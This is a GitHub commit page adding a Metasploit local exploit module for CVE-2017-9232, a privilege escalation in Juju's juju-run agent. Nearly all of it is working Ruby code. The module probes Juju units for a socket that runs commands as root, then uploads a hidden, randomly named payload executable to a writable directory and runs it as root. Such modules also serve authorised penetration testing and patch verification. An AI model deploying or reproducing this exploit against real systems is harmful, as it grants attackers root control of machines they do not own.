Skip to content

Commit c94763b

Browse files
committed
Add Juju-run Agent Privilege Escalation module
1 parent eb8429c commit c94763b

File tree

1 file changed

+132
-0
lines changed

1 file changed

+132
-0
lines changed
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Juju-run Agent Privilege Escalation',
16+
'Description' => %q{
17+
This module attempts to gain root privileges on Juju agent systems
18+
running the juju-run agent utility.
19+
20+
Juju agent systems running agent tools prior to version 1.25.12,
21+
2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket
22+
to manage software ("units") without setting appropriate permissions,
23+
allowing unprivileged local users to execute arbitrary commands as root.
24+
25+
This module has been tested successfully with Juju agent tools versions
26+
1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju
27+
1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Ryan Beisner', # Discovery and PoC
33+
'David Ames (@thedac)', # Discovery and PoC
34+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
35+
],
36+
'DisclosureDate' => 'Apr 13 2017',
37+
'Platform' => [ 'linux' ],
38+
'Arch' => [ ARCH_X86, ARCH_X64 ],
39+
'SessionTypes' => [ 'shell', 'meterpreter' ],
40+
'Targets' => [[ 'Auto', {} ]],
41+
'References' =>
42+
[
43+
[ 'CVE', '2017-9232' ],
44+
[ 'BID', '98737' ],
45+
[ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ]
46+
]
47+
))
48+
register_options(
49+
[
50+
OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]),
51+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
52+
])
53+
end
54+
55+
def check
56+
juju_run_path = cmd_exec 'which juju-run'
57+
58+
if juju_run_path.blank?
59+
vprint_error 'juju-run is NOT installed'
60+
return CheckCode::Safe
61+
end
62+
63+
vprint_good 'juju-run is installed'
64+
65+
CheckCode::Detected
66+
end
67+
68+
def unit_names
69+
units = []
70+
71+
cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log|
72+
units << ::File.basename(log).gsub(/\.log$/, '')
73+
end
74+
75+
cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent|
76+
units << ::File.basename(agent)
77+
end
78+
79+
units.uniq
80+
end
81+
82+
def execute_command(cmd, opts = {})
83+
cmd_exec "juju-run #{opts['unit']} '#{cmd}'"
84+
end
85+
86+
def upload_and_chmodx(path, data)
87+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
88+
rm_f path
89+
write_file path, data
90+
cmd_exec "chmod +x '#{path}'"
91+
register_file_for_cleanup path
92+
end
93+
94+
def exploit
95+
if check != CheckCode::Detected
96+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
97+
end
98+
99+
units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ]
100+
101+
if units.empty?
102+
fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'"
103+
end
104+
105+
# Check each unit for a privileged socket
106+
print_status "Trying #{units.size} units..."
107+
108+
socket_unit = nil
109+
unit_names.each do |unit|
110+
id = execute_command 'id', 'unit' => unit
111+
112+
if id.include? 'root'
113+
print_good "Unit #{unit.inspect} uses a privileged socket"
114+
socket_unit = unit
115+
break
116+
end
117+
end
118+
119+
if socket_unit.nil?
120+
fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket'
121+
end
122+
123+
# Upload payload executable
124+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
125+
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
126+
upload_and_chmodx payload_path, generate_payload_exe
127+
128+
# Execute payload executable
129+
vprint_status 'Executing payload...'
130+
execute_command payload_path, 'unit' => socket_unit
131+
end
132+
end

0 commit comments

Comments
 (0)